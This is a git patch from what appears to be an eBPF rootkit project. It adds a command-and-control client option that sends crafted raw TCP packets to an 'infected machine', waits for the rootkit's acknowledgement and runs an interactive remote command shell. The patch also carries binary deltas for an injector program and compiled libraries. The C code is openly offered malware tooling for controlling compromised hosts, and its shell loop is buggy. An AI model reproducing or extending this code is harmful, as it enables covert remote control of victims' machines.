From 9a47a2b15aefbc63413e58fe814c699a1b3e2cb8 Mon Sep 17 00:00:00 2001
From: h3xduck <marcossanchezbajo@gmail.com>
Date: Thu, 17 Feb 2022 06:21:09 -0500
Subject: [PATCH] Completed client integration with new c&c module.

---
 src/client/client.c                           |  59 +++++++++++++++++-
 src/client/client.o                           | Bin 6952 -> 9344 bytes
 src/client/injector                           | Bin 37096 -> 37680 bytes
 src/client/lib/libRawTCP_Lib.a                | Bin 51740 -> 51524 bytes
 src/{ebpf/include/packet/c&c => common}/c&c.h |   3 +-
 src/helpers/execve_hijack.c                   |   2 +
 src/helpers/lib/libRawTCP_Lib.a               | Bin 51740 -> 51524 bytes
 7 files changed, 60 insertions(+), 4 deletions(-)
 rename src/{ebpf/include/packet/c&c => common}/c&c.h (61%)

diff --git a/src/client/client.c b/src/client/client.c
index dd1da95..3186f1a 100644
--- a/src/client/client.c
+++ b/src/client/client.c
@@ -10,6 +10,7 @@
 #include <stdlib.h>
 
 #include "../common/constants.h"
+#include "../common/c&c.h"
 
 // For printing with colors
 #define KGRN  "\x1B[32m"
@@ -30,9 +31,12 @@ void print_welcome_message(){
 void print_help_dialog(const char* arg){
     printf("\nUsage: %s OPTION victim_IP\n\n", arg);
     printf("Program OPTIONs\n");
-    char* line = "-S";
+    char* line = "-S IP";
     char* desc = "Send a secret message to IP";
     printf("\t%-40s %-50s\n\n", line, desc);
+    line = "-c IP";
+    desc = "Activate direct command & control shell with IP";
+    printf("\t%-40s %-50s\n\n", line, desc);
     line = "-h";
     desc = "Print this help";
     printf("\t%-40s %-50s\n\n", line, desc);
@@ -135,6 +139,46 @@ void send_secret_packet(char* argv){
     free(local_ip);
 }
 
+void activate_command_control_shell(char* argv){
+    char* local_ip = getLocalIpAddress();
+    printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
+    check_ip_address_format(argv);
+    packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, CC_PROT_SYN);
+    printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
+    //Sending the malicious payload
+    if(rawsocket_send(packet)<0){
+        printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
+        return;
+    }else{
+        printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
+    }
+    printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
+    
+    //Wait for rootkit ACK to ensure it's up
+    rawsocket_sniff_pattern(CC_PROT_ACK);
+    printf("["KGRN"OK"RESET"]""Success!\n");   
+
+    //Received ACK, we proceed to send command
+    while(1){
+        char buf[BUFSIZ];                                                                                                                                                          
+        printf(""KYLW"c>:"RESET"");                                                                                                                                                              
+        scanf("%s", buf);                                                                                                                                                                             
+        if(rawsocket_send(packet)<0){
+            printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
+            return;
+        }
+        char msg[BUFSIZ];
+        strcpy(msg, CC_PROT_MSG);
+        strcat(msg, buf);
+        printf("Sending %s\n", msg);
+        packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
+        char* res = packet.payload;
+        printf(""KYLW"c>:"RESET" %s\n", res);   
+    }
+    
+    free(local_ip);
+}
+
 
 void main(int argc, char* argv[]){
     if(argc<2){
@@ -154,7 +198,7 @@ void main(int argc, char* argv[]){
     char path_arg[512];
 
     //Command line argument parsing
-    while ((opt = getopt(argc, argv, ":S:h")) != -1) {
+    while ((opt = getopt(argc, argv, ":S:c:h")) != -1) {
         switch (opt) {
         case 'S':
             print_welcome_message();
@@ -166,6 +210,17 @@ void main(int argc, char* argv[]){
             send_secret_packet(dest_address);
             PARAM_MODULE_ACTIVATED = 1;
             
+            break;
+        case 'c':
+            print_welcome_message();
+            sleep(1);
+            //Send a secret message
+            printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL shell\n");
+            //printf("Option S has argument %s\n", optarg);
+            strcpy(dest_address, optarg);
+            activate_command_control_shell(dest_address);
+            PARAM_MODULE_ACTIVATED = 1;
+            
             break;
         /*case 'u': 
             print_welcome_message();
diff --git a/src/client/client.o b/src/client/client.o
index b3311a9c68ee594d9c5a4732df4eabbf8f3a194c..9abdf7c769985952c9124dd08eb4714e365ead1a 100644
GIT binary patch
literal 9344
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
BzV-kB

delta 1764
zcmZWpT}TvB6rMZl&&=jJJFdI4qvE=&)Z$Mn$eKc0n1N~7V)RlJih|@rD<}m8Yb8ZQ
z_;d216x1m4Niz+$K+=aEj9w&zAS&A)A`r?VNV4qSnY()04%|C?zVm(GJ@@Y1>8YCt
z^!vpLZ6N>0Opx3VVRur!c$dKWq=E(~5roTgtG_ol+m+ryVLR!2zm+s~`Atfb(zm#U
zRw})>wvy_u?$47zBsYYUqvQ#+NQYrs3P84;3UiVTh<p{U%SEszJ7y&7CjwI`ZO~u~
zl6II($$)v=h%!vggxXa56|u&aBo0DHYNtaL5oVFZlw=8rSBJ0O1SnKS$S^D_yTqsf
z-;{%-11juKNeI^Mr_@#pa}xx^fIfBbsv7Ya^G;(fno-jV2wZdI%{*|NBl;_YF9@Uj
z$yR12Yp~y0Oa$n3Y7lZt>e7Gpai@o5gV&|$W%Mvv#I)%=uYe$}*2h&3@cf8TZR1%2
z)$gEVW7CYAFzwR9Q>dDXs?Xv)FYx?1;wy;1jBq=`KO$U3_%9RB-`dhFCmH}HvUc$T
zR!}uf_plS7!K!I=#5Pj~<Fs1KtFdER<(`eOM60Kf79YeA5Vxk^kJD!He41&S=a5!L
z>n_KsYIyz~@tuhOCysxV=N4FVYa|mE=$sD&bS`FyzK6eVjK+Sx;QYNtwT@TWX=rGb
zlMvK3eK=0L!L?&d+x!q|laaQ9nbBYmHex4SgK!<;hd3VVu#o#Uf|{X)kD+P?Qne#D
z2g1)HJRRXf2*=%yA{@VV_e?x&yiJ+NXp#$J?VjN6Mv#$&`16R5eHIbUEPA=m%YS^r
z+voQd6>z6t5RP}Yj&RJkCDPSs#5OR=7uGn=WLb0=|63Nl>XmVVSuUuCg-oq9h-7&A
z;|RygpMi^68mxHsl}1??G<uBLY=|}0!7trd93FyTjwZHR;8M;zTQ|2iII!SzK#$jL
zonT)e8b6cajyE7aN(5DL(QmRp_Orz2w??@1jRjhK0TE=l?W+<W%O=<77w2Wj$gPrB
w*gd838k%#<<uR9;^}~2>xiw-nvxo@M+<+XinQ0k#^UCECc9m#!!3VGBFaL7Hy8r+H

diff --git a/src/client/injector b/src/client/injector
index b685bffdec08b9f02aeae22ee78f2354d82ec281..eb8969abe95f44acbaae4f2f357d6c2d560fc08d 100755
GIT binary patch
delta 10964
zcma)C3s{t8zW=^&m<!Bs8E(U!;i7^UE~4QL<>KgIAfrH{qKJS>DHsf`R5mJL;z&Yo
z7u!cmcRQ_}$DXyY%eI+#a<w{EwA;3>M~gO1IGUm8u9fYa-~au-8AsZEp7Z+f{qL9e
z|Gw}4yEuafq{A;s-4Ve;sK7_A41|oGJ>y^UJLoTy2mO1_rujV`FH=v)vtThTufiac
zZYTuFv<RTVU;iwb?k~C<=Bi|R3)?E1j01|+fTA_PUKT$|G-S&<KZE2P!yvL>N(&SI
zU5E@NL<aL!HHK<7Ri`F?oF8)N%wOv^)pjI&e)y5c*e+E{Y!W=VvlaZeg7Q%jZw&s%
zvQJg%tj{MxOkfEQo5bZT(<fbAz(gOD*hN>?4cUX7E@8(ZyU4ELx`}hH@aq@sK}`g=
zzMs=NjvwXt1%CYnyqd)A9ACw+d-(Mwy0TnNgy<mbNrZZV3;qa~=`bL(5w6s)iHQ7f
zBy1F-gcKVP3?CT?-!oBbihKhUNplscPLckWWooSfRaN!PjWyG!S2fpEH>_csw5v4D
z_NJO@JNt{ahNBxcvgx|<Vm4c*t7j*4W7(iC$e|V_{!dV#n-URxEQ+dZ2EkNck4>Z&
zG8EoZJ<nis_y{u;I+V**f<>WQqUwFgX9;K;?%m@~dO+T&!NM73!?*?eS*!2z$S~Q8
zUx!O%f;OX>ed}wAO!ktRm1?NL8_Qz-Of1IFQ0}e~acLX4$KXO4(*h`&amKJ0Uveu0
z-tyx6uwr;W<Y(~LDH)L$4ciRvIdCJqxH|R<xCXt!KgEmd$IgR03*2d5Tm$pho7j4A
ztzO&!mILlya4WpHMz#Um)8MZ2;)bw&dQ+rw^m+E1yrkjmBiKwd82op5aU<AI;8udW
z$BP@qCK*g@7q|z#xG`*n!Q>z7RhPHetI*qHFhnZNgv;LdvPob^q2Z$q?HxAQq$h(C
zb+649gzK&`y}jdu-WI2>i-yVdq0E1}T-_sqaX+k!;dFwBrf}DXjBXm1=W}{ngC~d%
zpp(#U0^{cj0-1syGm4HKMTd=|{YTO2QS?tU@AiMwi@t{fe(S{``r;`1{3!a*Gud+?
zaplp1VD0k%E{Z_TZ?L0XVXr~+MmNa60<m_f|43l^Eqj>NseXd+jy}7uYalRw3ko8<
zr$Fex%=M@KY9=#;MvHYUB{VK|A9zB`gmP<JPClX5&Wm<~)tNI7#9-l1F4thK%jG($
zZefj~W9|ux2DcPkc$-D|d>Oxm{03*rcqQ@EWqg46N$kT=vtu>bZ&5;n6|$_6^sd|{
zU+QMy)=tYX&;}X3Wp$S053J6U2xj+KM{#R)(;bVA|I#AgV=+iE(!12HcT67qmnJkj
zImI__vo&FP))2(%?6~p|m#gh4U4_;F<l+yt!CODNT$jTXc8dY*vBdrg>~5retJXTf
zXG{vFYgZ2%*mq%RVlj&gkD7WN$#iy{!zOJzN>^7)IBYLaot}m081<OJ^Smk@!;o7$
zPYuSg4dEuoH>6YT(fJMOI6DSO$C(>pbqdaDgOd^7+WBAL4{+Ph$^6?NxTegZVtxis
z@;viNUr}}zQ_==^(prc<c#lp?IrfCLjj2qN48QVN4*bAonG(dkY^5pA7>>SXZ95SJ
z-))p-8tXEd93P>dgPYOO$IJFCNhIWQnW}Z1s2kr?c+2~g<@>;YR=E(U-$|mVYj3j9
z2a~N==r&_*Gb9T|)6cbh2Sy+2X6-z>>6pt^YjslTR}sT<E3;3Y>M`0kogG`CfEkmX
zyt6tZ-NiV?vr$B+2Gx9{b#!xs*SUf7X>Q(jMTaw)PE&VW!wo~3`bu~j^d%=yaJ_yQ
zhOXBS^6P$n-NUcsaPT?Yy_DJ*QH>fh{rHy4H8dF;0F0f)I0^>vHwb@~;~lv$wsuYZ
zBUn_l!wx-H|BzI6%j%y2m#6%NY%@$Y{1lz^h<g8jX^zMXOG`*;c2SrVcpchB<?iYj
zc6<rnzbh!HDlVO$gp^R2r+GZcNYu%9;C&R$&7mFG>`7#%oMWFnueIRQyw3UoIy?G#
z<{di-IAy@+VfC0t-^Q^V(z!_C?nC$9KiH6IX52p`ka8ZB;GmCI)X4(`{s6N`iRDL3
zaO_0MagZTg7uc@#B6gQ~h?>Cm=P+eittN0cJ;lgGsePh?1ny4uaAyRz-|*<q32Z+N
zVn_|KyfR5Bh<wz8ZaI)tS57tMY5zMV7?v|dE-v4(yny$T00rcnQ-hD=Y@X^k2MQjA
zp$~D9{hmfOWxv0pDR<?}Ah)ry+i$W)yS;G}N{%~zlhIS|_`Uql-8FlYoFkMlSPbV*
z^$YOFmm>f{<oKb8ba{?b-R>4edqm$OmYiDP-K*iidav;0J;HPCqNQ?noTmA9g^6%t
z?fe*ePeY1^47OZzS73()jSj68ETJU@Gya<i2~MJk-L>F9BB&g`hex=xSv1t5b8fO9
zBD1IOGf*VlblNr#3%oP$BzNaMxhKKcX*t){XI|53xf=MU<tlC0eK*<tQL))qZy;*h
z=3BDmI<j<nEI;Kb6%W%seH&qDMr50Mlf4@iCHdcEXQQGQ48uj>o8?!n=*H0OQ<R1%
zFDKm$PYoU&p}ARZ5&kOh?mG<<jVI`snO5li8*EOr*{}w3nX&f<dm!2@%@|=_(U}1z
zFCY35b~<{7G-rhAVqzygLruHWauD-4D9_{Xc(fiIB1g2@2GePh&douCpI>K-Vp1jN
z2zxXpUOIc7?TayuFUB)J%-=%(__G{-o1QV1NrcHk-=f67zsA0ZNt7;LXHsm6v@n28
zjExF-;X0q$K~iYD#>!&bwU5Dm(0ZMH85=Im^ke^seO}5PX3xgWHNAZeTfuUsZSxuV
z7P>72np3Z_>v2WFr@nK!(6U0X9V&_amtkg$&oHTn$>dzy=5qp<SxD9mck$-%dBEj8
z{1l9xmNUrV!|&Kf@g|=|U@%)^82c&S9J`78IMlZJkgKH%{&R!jV+0!3E=wQVmuO;(
z%*B%SJGS3EE_NaKot7hQn~w;AozGAux^nW#z(OvcNsMDs!d9OT@&3U45~lb$Er$^G
zvu`1roiKq7Cj=R$f<PVjSe+|wQ4Ym>teq|0${miEdN8x^l;t3N3vbi=&b#yme2m^m
z1`DrJ^g}}x)RidTDF|=CjdSoAc~$aFX7mhz+w@Qz^iEk0oACyNm9y@7m)4us;-6P&
zHjx%sDYI!^2Uj`dDwndwOeEuv%qL++^yLSvT^*~?kDcX*`6iHe`3PKLj@jw`c&_VK
zZVRDTXqj5H$e%*djtgvm9_Lvu#GfzUDTH*-WhN!&7_@=zW%9qw?oF&uuH!ed6B$;g
zdK@0NoaIMwd)ybm6PMRhxXjKZo|W2%*pZ~^Qsn=#?~)3ofFU*``9A55LH1;FwG=YM
zZYEF4|7?&K`_{=^Uk#nGleszpNBl}#UufW)eJF&AE0o__)0yw5Jf9BW&MKGt83@^>
zl>4Mzm)M-tLZ%*TlU}{lyJYMqqBL+3QIlCwN_6<{i*k@Pr*g4g$1*=d5ieh0n^UGq
zc^BE6DcdFA3$TB1`kJ)B_;!><er3s9Qq+~xi&vby`wBZh&nqwNyqQ;)*Ll0#+BNA#
zuuF?lf1>A(!D9pL%hcmfW(=szg*G;jF==595OR}OW3PXx+Foa_t#7KUv72ieH*BbG
zs5OrT)?jaHTyJh(SGRt>`4{!}b!0MWonULKZ?K!~>*|}$5N#wcy>XdC;#%DCOPA8C
z?(*p6SyMI?E}T~qy*y*XiY3+c_WFjk<~5B?=BCC*`vdiMb5mXO#>R%`y0o-30d{!>
z_j0Sr8%plwHl-~!HFeF+2?AVYZK#<&gSf(&W_V}MPfnhax4N;3oRWQMT|+JTAJgnd
zzW7szw;30Z;k#K;%$!w}?v<N+{<Y?UlH%gLg>y0Uf|7-0i%W{+nUh^j)-vCk8S8*z
z^uC)FEID-8oMup=e|5QL0r&YIJYxce0zL|O<DAPycmDI|U9P79lfQ7ejsRW*{0#8n
zFI}!1fQ|u|D-<WQ`74)e3gCNRyIf^}h2OYbcEE=&!5%OM8|et3?tfjbGm_vC)&jW&
zMn7N-&i9XivjC^!{8R!i#X;W!Sb^U3BH&)Y6M%l`r&j=D(RdB`G;{=TBH&!K@FGA5
z;CetCZfd&#vvH3+1b7PYG@uXe%2#~wq-qB;Ma@p$lNkFxCY?^TnXAR|$7Jz`#}%Rf
zFD}<GQ)eel-h(o65s5MA4q(S$H~0f6gL}jP*@eHnb8K05T*5k3@gtI10)n<n1^yc8
zgh7kgq;?vAVeGl=c<Hh8?CtD0spboIHajjq8<n-8FdiG#e2I+6rU;?dqSD*%l5h6N
z*F*l%*DPvUlx7#uvlrM5pof62y2zGIi_`Q2O}WG#19uqc+Dq*DX>pEFxI2V}nt%|V
zu&a5dJnR(6--MhV5Iu5LrbrrQu*x9+6bqc}otCvtr3&Ghah*-1gEe+}`yidGVxXrc
zd!cmb3L8H?O7jlT{wr+3^hC!6pyAjKA>O7cKOUZ{;)Ctri<{50z&+_nPk6j0L%s#_
z?z`lVd*pK=ABKFUx4emqY5ESK77BXozfbQ<;C)X5?U28NTlXbz2htaw053w`hJE|*
z5;y_*2;^Db_V>#P%oVU-E<hn@gf-2`_nnA6JPmtZ&Au|UMJgW<h5fW4F(^SAW0{x}
zZ`{E*wIJZlf{%WdnG-LbVT*Fo#csA0_<nXEC*9bueBVQz6}_)ueFpC<H0b*tjecgF
zT_SE_)wAP`8F-?ifg4pLK^3xDA`KL=SEcYL=bQ-`FcKGK<&b~c9X2E}U2cwFx$*_=
zH6K!Db-6))+C*7<g_>AV6G2JBVmx(W>KL`-I1pYFy~OA7Y$J=qQ)Tfy?ohF&w?bK5
zIY}1(C%0x}@*<`3*xuZ{A63%11eRmTkeU-%BS2^ZJ7Ae3rNpzpSx!sa;@IJN3!utw
z&)b)D7PmDYp$6sEiG8>lKEX0nU{$<Qe`o$njt0CrYkg=V`9)~Lps1Y+MNyjqdr7+<
zSCzIA93O29aJ4oc`Wo#4T>W$!a42ct)9?$Z`T=a8m>B9re(?|nsbA9-!l%9#0`(C!
z`4{v{$kFS5B#<TwhTY&T1@4~@#9vU|gfmTC@H^y$`k{{|UblsuY-0X}(GEsIwI9Ht
zs2zl=q^$zSM|&Hp8tqZ=by_QMgEkdcqxNZV!nIEUkJTQ7euDO8;Hg?Yu4&q<kfv)L
zz$a^q;3rG_Yv@#Ji@;y0Jqvub)`ja@?P}<(*FK6b??Suw6<l{{=fI#-8v}f|wi8#E
z?;B9kh`vD}@CvJXfyhUK57Sh#pd6&Ru6rDNR)2y7H<WrThqmTs;B*Kiy^|z=53R$5
zee_F-_&$V8bb^7l#k0L*7knZ)K8J~z?^gm)HwJ7B-lhP>z4YHdrr#oIF+Zgf997R2
zM??f%i3Ps2_f<W691&$iTNHY)BVq+&i1Px-qpIhyBl5S3TY7Az5fK8fqRpQ>aP;hV
zMC6f&MS*gJgN_I@(Tin;o);a05H%Uj#AKdjUXtvFH(a3N-e&ldvlu%ni*cST<e(Xf
z+#NGh@3=eYWJLi%quVJ>m73CY?{t0>;4w{nma15qrPQN@*Klj8#~PudeDx6)T8JK7
zOk+cxAQ~0v+=xjeHE}XS>M0V0#}Ud$h(@86BX%5(hmP2t<1bHon-6<%*~$#nc${x(
zPvkamRnJ3LdM=u9wN9gZ8Bh{6zelxIN8nfWsVSd*l{dThgN5%%j_1KSqs!DyM+$np
z&<eUNEzMBSZ-h(TJ-)vtp8iXy>9RQyq@PEUX`G1AFF`cjbWWJ{zbCaBoJi4klVm0*
zGW4-zGm8_`^lM0xLxe-f)h7{^%SBebKk4Oh!ltLs;ktZIROmk^Vs7|iB)Up}oowcX
zR)AQi{~Zxlp7uulWO7i*3A^4zk_CEN(@lCk5yipOLbm9uNo`@EqY%_KeKCnjbSvSm
zO+P|`76nrK+M$mo$x{EPq1LU>A*1D{R!H{fZ<C}lvK_>JeG?HYcs>X9ACQBUz6W4)
zSl>yKDnB}?Z|UiIN4JV6*QehCNxW{gZYMmP5LCZ{m9IAPHLP;bX40DwV9aL;rDGj4
zKxuS#s2RV9jYdbEBAC|omq0@DfrNldOBi|uUi_Q^BnT^mofz)-5<DIp2PKRK<;;nD
z)1es74_bIEt+A@7+Yz1zu^65zALU&R(=3D&E9IT3!pW0&c|-uYq_b=~ND7I3=c;-R
zI!xcgt2joX4>^R0Oj6MDL*w4Nb9p9U??rr;Se7?tC(gIB(QhMX+UR#~WU_Xv1{?i>
z-jOo9B=>0}@6$%!r;WT%8+o5L@;+_kecH(Tw2}8|Bk$8j-lvVcPaAokHu64g<bB%6
z`?QhwX(R8`M&755yiXf>pEf=^6}4?Q@;+_kecH(Tw2}AeV7X5RD}6fTEUm#ZjdKEv
zuE@fF?3Pr-8s8<}3SK0sXI1#s32bx41mFK4Zn?%bfxQaNE9_!Ly3{wGg)dD8F>~o8
z|87#4XsSo})bXrkX@&nu;`jy4M)|^1+1aJ$_zAw?7y@bQNj(*zNksYwzQW0}&>bvt
zS=N|HtdUafY{;qFcb*I6YHNIZA6&LX^xa7IS(-nku}_y%PU=dtRFKBTRZ>nxm6QBe
zkb+O(BiJ{UlX|yTel4+=Ym5_3YC#n+LqAhLU0)a?;p<++lu?XGy=WAJu{omHimGTa
znw_tS7Grwftg2SiBS}<Uf+)?BdUMvqijp>wRj%!;R8P}<gHzypQ62P<+D})n)-P52
zuT_WtUhOX>g;c5|T6ADYV}jNC*&e~N5Or{-I#MbQRT~zl^%vA}MQT6Q{dTol75lu}
z@Pb;DCWJ_Fy>aW>MX7dN?~C<2L@7MAH|>EUNy3yK-H_{3T3lumHdeQ;Z>+AZ+E{J3
z*EKZ=g*MyblCqMjxdjC_p|qsn-l~Nq3-gPBctn<k1$j0PRXD%cCe$}nRoB)wRoR)?
z6y{i5dLKFF4y*9WURVE6U9HEUe6HfSv}~~@uUJ^!vSv+PlSgbTw+Z<F{Rf0*IDNRT
zsnH|B+pl7|cy6)K%p-b)mQt9>Y0SFg3=;%zBi_TS>>kxZ+kN+Vh+<nACQ6oTsyEcH
zZ)FEs;@I}4AcwmUT#S6G>hBb%IIqIvz*1(lEM90S6PoK9>_SuZFDUssdsTBo{hBp$
z1$iyq{_-uBGMkl0q`ZXYY9+EzRi&8PTQ}A@JON4zFblW!;=CmuywF`p8$L}S0k;kc
zTvS+Q@z9p}ckBxbP{UD4{%q~%FSZB{PhO}T-v<RnC6)?HfwEpz&Gir0@r9y=SLQi?
zG1ikN!8e0<!E8mPo_z8!`|7INYJ0VZRcOO^8y<xwNQhrmsb!HoF=ntwNQJiE$Lx}d
zJ@$*mnHkEPkbI~G!AyMs|FgDg6rbL;h`*nSo6_-4l)1^|d7E<E?f@bRVR-YY-gHbV
zo5d1a)9Cf76{>h*@gDS@5w{<xZf!NCx_{~8)|d;aC`1VE7cDn`9Xs9{AGIZ2rqSg1
zxF6cVNUe4p`=RwdF`X@XIG)~4njU^a+L6wrM^+l~VTq4=83<3X<BvvU;7N<@MnA)j
zDExvnS)0Fx0)2uRA2Hz-kgmOSjXbGno>ScO4+7BqGnZacq}$?TKQGBZxXnF8u?OL2
z603gHB+ei_vKU>KeyZdCaSA#&AFH_ZVMr-kCq02-+>n9LMbg*<iqwHdN`rq90qg_c
zjMu=B%uf^z_g#~J9e~Ey3V-zT>UEZ|*(AEid!`Y04~m^So_ymyKnB8C@QsiN88QPT
zA5+;^n@ySba_P^1n6y&y7No3WonqBMR^nE=`aPrQY!7GBV`CjzN|O9T64Vt-;h>^s
